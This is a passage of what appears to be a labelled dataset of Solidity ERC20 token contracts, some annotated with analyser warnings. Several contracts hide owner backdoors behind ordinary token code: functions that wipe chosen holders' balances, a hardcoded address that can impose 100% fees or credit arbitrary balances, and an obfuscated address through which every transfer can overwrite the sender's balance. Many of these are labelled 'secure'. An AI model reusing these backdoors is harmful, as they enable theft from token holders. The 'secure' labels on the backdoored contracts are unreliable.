(bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == maze, \"Not allowed\");\n\n _;\n }\n\n function butterfly(address[] memory hotdog) public onlyOwner {\n for (uint256 i = 0; i < hotdog.length; i++) {\n address account = hotdog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1011.sol", "secure": 1, "size_bytes": 4344 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HONKARMY is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable remotely;\n\n constructor() {\n _name = \"HONK ARMY\";\n\n _symbol = \"HONKARMY\";\n\n _decimals = 18;\n\n uint256 initialSupply = 34700000000;\n\n remotely = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == remotely, \"Not allowed\");\n\n _;\n }\n\n function effectively(address[] memory conclusion) public onlyOwner {\n for (uint256 i = 0; i < conclusion.length; i++) {\n address account = conclusion[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1012.sol", "secure": 1, "size_bytes": 4385 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEPES is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"PEPES\", \"PEPES\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1013.sol", "secure": 1, "size_bytes": 586 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract AEW is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0cb6b8): AEW._decimals should be immutable \n\t// Recommendation for d0cb6b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c6d8f86): AEW._totalSupply should be immutable \n\t// Recommendation for c6d8f86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ba3c01b): AEW._marketnkiaddress should be immutable \n\t// Recommendation for ba3c01b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketnkiaddress;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketnkiaddress = 0xbAcEf527882B5882ED9624DC1b9504d50efcbC43;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apvrove(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketnkiaddress;\n }\n\n function liqbilltyers(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_1014.sol", "secure": 1, "size_bytes": 5346 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TheDOGEReserve is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87fcd05): TheDOGEReserve.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 87fcd05: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"The D.O.G.E Reserve\", \"dRSV\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 24eeb9b): TheDOGEReserve.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 24eeb9b: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f8da601): TheDOGEReserve.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for f8da601: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: f8da601\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 24eeb9b\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 24eeb9b\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}", "file_name": "solidity_code_1015.sol", "secure": 0, "size_bytes": 2772 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Catimus is ERC20, Ownable {\n constructor() ERC20(\"Elon CAT\", \"Catimus\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1016.sol", "secure": 1, "size_bytes": 370 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Wifai is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable spit;\n\n constructor() {\n _name = \"WIF AI\";\n\n _symbol = \"WIFAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 561000000;\n\n spit = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == spit, \"Not allowed\");\n\n _;\n }\n\n function consider(address[] memory carry) public onlyOwner {\n for (uint256 i = 0; i < carry.length; i++) {\n address account = carry[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1017.sol", "secure": 1, "size_bytes": 4344 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TrumpsMugshot is ERC20, ERC20Burnable, Ownable {\n uint256 private constant INITIAL_SUPPLY = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"TRUMPS MUGSHOT\", \"MUG\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function distributeTokens(address distributionWallet) external onlyOwner {\n uint256 supply = balanceOf(msg.sender);\n\n require(supply == INITIAL_SUPPLY, \"Tokens already distributed\");\n\n _transfer(msg.sender, distributionWallet, supply);\n }\n}", "file_name": "solidity_code_1018.sol", "secure": 1, "size_bytes": 805 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Hotei is ERC20 {\n constructor() ERC20(\"HOTEI\", \"HOTEI\") {\n _mint(msg.sender, 777000000 * 10 ** 18);\n }\n}", "file_name": "solidity_code_1019.sol", "secure": 1, "size_bytes": 260 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract KabosuKing is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5b7c0a): KabosuKing._totalSupply should be constant \n\t// Recommendation for f5b7c0a: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 Router2Instance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16a6060): KabosuKing._initSupply should be constant \n\t// Recommendation for 16a6060: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 1323995976083318023847656560591034026600115552771;\n\n function INIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash));\n\n Router2Instance = UniswapRouterV2(router_);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 675b8f7): KabosuKing.constructor(string,string).name shadows KabosuKing.name() (function)\n\t// Recommendation for 675b8f7: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n INIT();\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 675b8f7): KabosuKing.constructor(string,string).name shadows KabosuKing.name() (function)\n\t// Recommendation for 675b8f7: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9521869): KabosuKing.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9521869: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (_balanceses[owner], ) = _aroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ebe80d): KabosuKing.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ebe80d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b4d77cf): KabosuKing.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b4d77cf: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (_balanceses[from], ) = _aroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f2852e): KabosuKing._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f2852e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0694b26): KabosuKing._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0694b26: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cead35f): KabosuKing._aroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cead35f: Rename the local variables that shadow another component.\n function _aroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (uint256, bool) {\n if (no == true) {\n return (_dogeswap(owner, amount), true);\n } else {\n return (_balanceses[owner], true);\n }\n }\n}", "file_name": "solidity_code_102.sol", "secure": 0, "size_bytes": 7037 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Agenda47 is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n address public immutable feeReceiver;\n\n uint256 private maxWalletSize = 470000 * 1e9;\n\n uint256 private contractSwapMax = 705000 * 1e9;\n\n uint256 private contractSwapMin = 9400 * 1e9;\n\n uint32 private _buyCount;\n\n uint32 private _sellCount;\n\n uint32 private _lastSellBlock;\n\n uint256 private _startBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f90143): Agenda47._preventSwapBefore should be constant \n\t// Recommendation for 4f90143: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fda1c8): Agenda47._lowerFeesAt should be constant \n\t// Recommendation for 8fda1c8: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerFeesAt = 78;\n\n uint32 private _finalBuyFee = 0;\n\n uint32 private _finalSellFee = 10;\n\n bool private _inSwap;\n\n uint256 public buyFeePercent;\n\n uint256 public sellFeePercent;\n\n mapping(address => bool) private excludedFromTxLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1eed53): Agenda47.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for e1eed53: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Agenda 47\", \"A47\") {\n uint256 totalSupply = 47000000 * 1e9;\n\n feeReceiver = 0x068227ABFD258907F4ae805618C1Ed806CDe5ABC;\n\n buyFeePercent = 10;\n\n sellFeePercent = 20;\n\n excludedFromTxLimits[feeReceiver] = true;\n\n excludedFromTxLimits[msg.sender] = true;\n\n excludedFromTxLimits[address(this)] = true;\n\n excludedFromTxLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n\n _approve(msg.sender, address(_router), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5f8569): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a5f8569: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f76e3aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f76e3aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 54bb034): Agenda47._transfer(address,address,uint256) uses a dangerous strict equality block.number == _startBlock\n\t// Recommendation for 54bb034: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fafb0b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fafb0b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];\n\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n\n\t\t\t// incorrect-equality | ID: 54bb034\n if (block.number == _startBlock) {\n require(_buyCount < _lowerFeesAt);\n }\n\n if (_buyCount <= _lowerFeesAt) _buyCount++;\n\n if (_buyCount == _lowerFeesAt) {\n buyFeePercent = _finalBuyFee;\n\n sellFeePercent = _finalSellFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= contractSwapMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n\n require(_sellCount < 3, \"Only 3 sells per block!\");\n\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t// reentrancy-no-eth | ID: f76e3aa\n\t\t\t// reentrancy-eth | ID: fafb0b4\n swapTokensForEth(\n min(\n (amount * 15) / 10,\n min(contractTokenBalance, contractSwapMax)\n )\n );\n\n\t\t\t// reentrancy-no-eth | ID: f76e3aa\n _inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t// reentrancy-eth | ID: fafb0b4\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: fafb0b4\n _sellCount++;\n\n\t\t\t// reentrancy-eth | ID: fafb0b4\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFeePercent : sellFeePercent;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: a5f8569\n\t\t\t\t// reentrancy-eth | ID: fafb0b4\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// reentrancy-events | ID: a5f8569\n\t\t// reentrancy-eth | ID: fafb0b4\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n 